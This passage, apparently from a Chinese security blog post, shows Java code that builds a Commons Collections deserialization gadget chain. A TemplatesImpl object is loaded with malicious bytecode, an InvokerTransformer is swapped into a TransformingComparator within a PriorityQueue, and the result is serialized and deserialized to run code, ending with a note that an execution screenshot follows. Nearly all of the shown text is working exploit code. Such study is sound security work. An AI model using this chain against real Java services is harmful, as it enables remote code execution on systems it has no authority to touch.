        bytecodesField.setAccessible(true);

        byte[]code= Files.readAllBytes(Paths.get("D:\\tmp\\classes\\Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);

        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

代码执行效果如下

image-20220402102928139

posted @ 2022-04-02 11:04  Townmacro  阅读(91)  评论(0编辑  收藏  举报